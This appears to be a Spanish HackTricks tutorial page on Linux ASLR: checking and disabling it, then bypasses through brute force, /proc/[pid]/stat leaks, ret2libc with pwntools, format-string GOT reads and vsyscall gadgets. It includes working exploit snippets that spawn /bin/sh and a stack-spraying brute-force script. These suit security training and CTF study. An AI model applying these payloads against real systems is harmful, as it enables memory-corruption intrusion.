ASLR
Reading time: 11 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Información Básica
Address Space Layout Randomization (ASLR) es una técnica de seguridad utilizada en sistemas operativos para aleatorizar las direcciones de memoria utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.
Verificando el Estado de ASLR
Para verificar el estado de ASLR en un sistema Linux, puedes leer el valor del archivo /proc/sys/kernel/randomize_va_space
. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:
- 0: Sin aleatorización. Todo es estático.
- 1: Aleatorización conservadora. Las bibliotecas compartidas, la pila, mmap(), la página VDSO están aleatorizadas.
- 2: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de
brk()
está aleatorizada.
Puedes verificar el estado de ASLR con el siguiente comando:
cat /proc/sys/kernel/randomize_va_space
Deshabilitar ASLR
Para deshabilitar ASLR, debes establecer el valor de /proc/sys/kernel/randomize_va_space
en 0. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Aquí te mostramos cómo puedes deshabilitarlo:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
También puedes desactivar ASLR para una ejecución con:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Habilitando ASLR
Para habilitar ASLR, puedes escribir un valor de 2 en el archivo /proc/sys/kernel/randomize_va_space
. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistencia a Través de Reinicios
Los cambios realizados con los comandos echo
son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo /etc/sysctl.conf
y agregar o modificar la siguiente línea:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Después de editar /etc/sysctl.conf
, aplica los cambios con:
sudo sysctl -p
Esto asegurará que la configuración de ASLR se mantenga a través de reinicios.
Bypasses
Fuerza bruta de 32 bits
PaX divide el espacio de direcciones del proceso en 3 grupos:
- Código y datos (inicializados y no inicializados):
.text
,.data
y.bss
—> 16 bits de entropía en la variabledelta_exec
. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales. - Memoria asignada por
mmap()
y bibliotecas compartidas —> 16 bits, llamadadelta_mmap
. - La pila —> 24 bits, referida como
delta_stack
. Sin embargo, utiliza efectivamente 11 bits (del 10º al 20º byte inclusive), alineados a 16 bytes —> Esto resulta en 524,288 posibles direcciones de pila reales.
Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR reintentando la ejecución una y otra vez hasta que el exploit se complete con éxito.
Ideas de fuerza bruta:
- Si tienes un desbordamiento lo suficientemente grande para alojar un gran NOP sled antes del shellcode, podrías simplemente forzar direcciones en la pila hasta que el flujo salte sobre alguna parte del NOP sled.
- Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible agregar el NOP sled y el shellcode en una variable de entorno.
- Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Si atacas un servidor remoto, podrías intentar forzar por fuerza bruta la dirección de la función
usleep
delibc
, pasando como argumento 10 (por ejemplo). Si en algún momento el servidor tarda 10s extra en responder, encontraste la dirección de esta función.
tip
En sistemas de 64 bits, la entropía es mucho mayor y esto no debería ser posible.
Fuerza bruta en la pila de 64 bits
Es posible ocupar una gran parte de la pila con variables de entorno y luego intentar abusar del binario cientos/miles de veces localmente para explotarlo.
El siguiente código muestra cómo es posible simplemente seleccionar una dirección en la pila y cada pocas centenas de ejecuciones esa dirección contendrá la instrucción NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
.png)
Información Local (/proc/[pid]/stat
)
El archivo /proc/[pid]/stat
de un proceso siempre es legible por todos y contiene información interesante como:
- startcode & endcode: Direcciones por encima y por debajo del TEXT del binario
- startstack: La dirección del inicio de la pila
- start_data & end_data: Direcciones por encima y por debajo donde está el BSS
- kstkesp & kstkeip: Direcciones actuales de ESP y EIP
- arg_start & arg_end: Direcciones por encima y por debajo donde están los argumentos cli.
- env_start & env_end: Direcciones por encima y por debajo donde están las variables de entorno.
Por lo tanto, si el atacante está en la misma computadora que el binario que se está explotando y este binario no espera el desbordamiento de argumentos en bruto, sino de una entrada diferente que se puede crear después de leer este archivo. Es posible que un atacante obtenga algunas direcciones de este archivo y construya offsets a partir de ellas para la explotación.
tip
Para más información sobre este archivo, consulta https://man7.org/linux/man-pages/man5/proc.5.html buscando /proc/pid/stat
Tener un leak
- El desafío es proporcionar un leak
Si se te proporciona un leak (desafíos CTF fáciles), puedes calcular offsets a partir de él (suponiendo, por ejemplo, que conoces la versión exacta de libc que se utiliza en el sistema que estás explotando). Este ejemplo de explotación se extrae de ejemplo de aquí (consulta esa página para más detalles):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Abusando de un desbordamiento de búfer, sería posible explotar un ret2plt para exfiltrar una dirección de una función de la libc. Ver:
- Format Strings Arbitrary Read
Al igual que en ret2plt, si tienes una lectura arbitraria a través de una vulnerabilidad de cadenas de formato, es posible exfiltrar la dirección de una función de libc desde el GOT. El siguiente ejemplo es de aquí:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Puedes encontrar más información sobre la lectura arbitraria de cadenas de formato en:
Ret2ret & Ret2pop
Intenta eludir ASLR abusando de direcciones dentro de la pila:
vsyscall
El mecanismo vsyscall
sirve para mejorar el rendimiento al permitir que ciertas llamadas al sistema se ejecuten en el espacio de usuario, aunque son parte fundamental del kernel. La ventaja crítica de vsyscalls radica en sus direcciones fijas, que no están sujetas a ASLR (Aleatorización del Diseño del Espacio de Direcciones). Esta naturaleza fija significa que los atacantes no requieren una vulnerabilidad de fuga de información para determinar sus direcciones y usarlas en un exploit.
Sin embargo, no se encontrarán gadgets super interesantes aquí (aunque, por ejemplo, es posible obtener un equivalente a ret;
)
(El siguiente ejemplo y código es de este informe)
Por ejemplo, un atacante podría usar la dirección 0xffffffffff600800
dentro de un exploit. Mientras que intentar saltar directamente a una instrucción ret
podría llevar a inestabilidad o bloqueos después de ejecutar un par de gadgets, saltar al inicio de un syscall
proporcionado por la sección vsyscall puede resultar exitoso. Al colocar cuidadosamente un gadget ROP que dirija la ejecución a esta dirección vsyscall, un atacante puede lograr la ejecución de código sin necesidad de eludir ASLR para esta parte del exploit.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Nota, por lo tanto, cómo podría ser posible eludir ASLR abusando del vdso si el kernel está compilado con CONFIG_COMPAT_VDSO, ya que la dirección del vdso no será aleatorizada. Para más información, consulta:
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.